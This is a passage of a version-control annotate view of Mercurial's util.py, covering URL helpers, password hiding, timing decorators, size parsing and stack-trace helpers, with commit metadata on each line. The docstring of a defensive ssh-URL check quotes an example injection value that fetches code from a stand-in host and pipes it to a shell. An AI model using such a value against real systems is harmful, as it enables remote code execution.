3275 return path and path[1:2] == b':' and path[0:1].isalpha() |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3276 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3277 |
14825
de9eb6b1da4f
util: rename the util.localpath that uses url to urllocalpath (issue2875)
Mads Kiilerich <mads@kiilerich.com>
parents:
14766
diff
changeset
|
3278 def urllocalpath(path): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3279 return url(path, parsequery=False, parsefragment=False).localpath() |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3280 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3281 |
33650
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3282 def checksafessh(path): |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3283 """check if a path / url is a potentially unsafe ssh exploit (SEC) |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3284 |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3285 This is a sanity check for ssh urls. ssh will parse the first item as |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3286 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3287 Let's prevent these potentially exploited urls entirely and warn the |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3288 user. |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3289 |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3290 Raises an error.Abort when the url is unsafe. |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3291 """ |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3292 path = urlreq.unquote(path) |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3293 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'): |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3294 raise error.Abort( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3295 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3296 ) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3297 |
33650
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3298 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3299 def hidepassword(u): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3300 '''hide user credential in a url string''' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3301 u = url(u) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3302 if u.passwd: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3303 u.passwd = b'***' |
31841
9ff5a124d111
py3: replace str() with bytes()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31811
diff
changeset
|
3304 return bytes(u) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3305 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3306 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3307 def removeauth(u): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3308 '''remove all authentication information from a url string''' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3309 u = url(u) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3310 u.user = u.passwd = None |
37366
b23e3cc1afd4
py3: return bytes from util.removeauth()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
37322
diff
changeset
|
3311 return bytes(u) |
14515
76f295eaed86
util: add helper function isatty(fd) to check for tty-ness
Idan Kamara <idankk86@gmail.com>
parents:
14313
diff
changeset
|
3312 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3313 |
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3314 timecount = unitcountfn( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3315 (1, 1e3, _(b'%.0f s')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3316 (100, 1, _(b'%.1f s')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3317 (10, 1, _(b'%.2f s')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3318 (1, 1, _(b'%.3f s')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3319 (100, 0.001, _(b'%.1f ms')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3320 (10, 0.001, _(b'%.2f ms')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3321 (1, 0.001, _(b'%.3f ms')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3322 (100, 0.000001, _(b'%.1f us')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3323 (10, 0.000001, _(b'%.2f us')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3324 (1, 0.000001, _(b'%.3f us')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3325 (100, 0.000000001, _(b'%.1f ns')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3326 (10, 0.000000001, _(b'%.2f ns')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3327 (1, 0.000000001, _(b'%.3f ns')), |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3328 ) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3329 |
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3330 |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3331 @attr.s |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3332 class timedcmstats(object): |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3333 """Stats information produced by the timedcm context manager on entering.""" |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3334 |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3335 # the starting value of the timer as a float (meaning and resulution is |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3336 # platform dependent, see util.timer) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3337 start = attr.ib(default=attr.Factory(lambda: timer())) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3338 # the number of seconds as a floating point value; starts at 0, updated when |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3339 # the context is exited. |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3340 elapsed = attr.ib(default=0) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3341 # the number of nested timedcm context managers. |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3342 level = attr.ib(default=1) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3343 |
38812
9d49bb117dde
util: make new timedcmstats class Python 3 compatible
Martijn Pieters <mj@zopatista.com>
parents:
38797
diff
changeset
|
3344 def __bytes__(self): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3345 return timecount(self.elapsed) if self.elapsed else b'<unknown>' |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3346 |
38812
9d49bb117dde
util: make new timedcmstats class Python 3 compatible
Martijn Pieters <mj@zopatista.com>
parents:
38797
diff
changeset
|
3347 __str__ = encoding.strmethod(__bytes__) |
9d49bb117dde
util: make new timedcmstats class Python 3 compatible
Martijn Pieters <mj@zopatista.com>
parents:
38797
diff
changeset
|
3348 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3349 |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3350 @contextlib.contextmanager |
39259
e00123f63410
util: make timedcm require the label (API)
Augie Fackler <augie@google.com>
parents:
39258
diff
changeset
|
3351 def timedcm(whencefmt, *whenceargs): |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3352 """A context manager that produces timing information for a given context. |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3353 |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3354 On entering a timedcmstats instance is produced. |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3355 |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3356 This context manager is reentrant. |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3357 |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3358 """ |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3359 # track nested context managers |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3360 timedcm._nested += 1 |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3361 timing_stats = timedcmstats(level=timedcm._nested) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3362 try: |
39257
497effb0a04a
util: make timedcm context manager also emit trace events
Augie Fackler <augie@google.com>
parents:
39209
diff
changeset
|
3363 with tracing.log(whencefmt, *whenceargs): |
497effb0a04a
util: make timedcm context manager also emit trace events
Augie Fackler <augie@google.com>
parents:
39209
diff
changeset
|
3364 yield timing_stats |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3365 finally: |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3366 timing_stats.elapsed = timer() - timing_stats.start |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3367 timedcm._nested -= 1 |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3368 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3369 |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3370 timedcm._nested = 0 |
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3371 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3372 |
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3373 def timed(func): |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3374 '''Report the execution time of a function call to stderr. |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3375 |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3376 During development, use as a decorator when you need to measure |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3377 the cost of a function, e.g. as follows: |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3378 |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3379 @util.timed |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3380 def foo(a, b, c): |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3381 pass |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3382 ''' |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3383 |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3384 def wrapper(*args, **kwargs): |
39258
331ab85e910b
cleanup: make all uses of timedcm specify what they're timing
Augie Fackler <augie@google.com>
parents:
39257
diff
changeset
|
3385 with timedcm(pycompat.bytestr(func.__name__)) as time_stats: |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3386 result = func(*args, **kwargs) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3387 stderr = procutil.stderr |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3388 stderr.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3389 b'%s%s: %s\n' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3390 % ( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3391 b' ' * time_stats.level * 2, |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3392 pycompat.bytestr(func.__name__), |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3393 time_stats, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3394 ) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3395 ) |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3396 return result |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3397 |
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3398 return wrapper |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3399 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3400 |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3401 _sizeunits = ( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3402 (b'm', 2 ** 20), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3403 (b'k', 2 ** 10), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3404 (b'g', 2 ** 30), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3405 (b'kb', 2 ** 10), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3406 (b'mb', 2 ** 20), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3407 (b'gb', 2 ** 30), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3408 (b'b', 1), |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3409 ) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3410 |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3411 |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3412 def sizetoint(s): |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3413 '''Convert a space specifier to a byte count. |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3414 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3415 >>> sizetoint(b'30') |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3416 30 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3417 >>> sizetoint(b'2.2kb') |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3418 2252 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3419 >>> sizetoint(b'6M') |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3420 6291456 |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3421 ''' |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3422 t = s.strip().lower() |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3423 try: |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3424 for k, u in _sizeunits: |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3425 if t.endswith(k): |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3426 return int(float(t[: -len(k)]) * u) |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3427 return int(t) |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3428 except ValueError: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3429 raise error.ParseError(_(b"couldn't parse size: %s") % s) |
19211
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3430 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3431 |
19211
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3432 class hooks(object): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3433 '''A collection of hook functions that can be used to extend a |
26098 | 3434 function's behavior. Hooks are called in lexicographic order, |
19211
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3435 based on the names of their sources.''' |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3436 |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3437 def __init__(self): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3438 self._hooks = [] |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3439 |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3440 def add(self, source, hook): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3441 self._hooks.append((source, hook)) |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3442 |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3443 def __call__(self, *args): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3444 self._hooks.sort(key=lambda x: x[0]) |
21046
cc13addbd62b
util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
21018
diff
changeset
|
3445 results = [] |
19211
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3446 for source, hook in self._hooks: |
21046
cc13addbd62b
util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
21018
diff
changeset
|
3447 results.append(hook(*args)) |
cc13addbd62b
util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
21018
diff
changeset
|
3448 return results |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3449 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3450 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3451 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0): |
28497
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3452 '''Yields lines for a nicely formatted stacktrace. |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3453 Skips the 'skip' last entries, then return the last 'depth' entries. |
28497
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3454 Each file+linenumber is formatted according to fileline. |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3455 Each line is formatted according to line. |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3456 If line is None, it yields: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3457 length of longest filepath+line number, |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3458 filepath+linenumber, |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3459 function |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3460 |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3461 Not be used in production code but very convenient while developing. |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3462 ''' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3463 entries = [ |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3464 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func)) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3465 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1] |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3466 ][-depth:] |
28497
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3467 if entries: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3468 fnmax = max(len(entry[0]) for entry in entries) |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3469 for fnln, func in entries: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3470 if line is None: |
906fece80cfa
util: refactor getstackframes
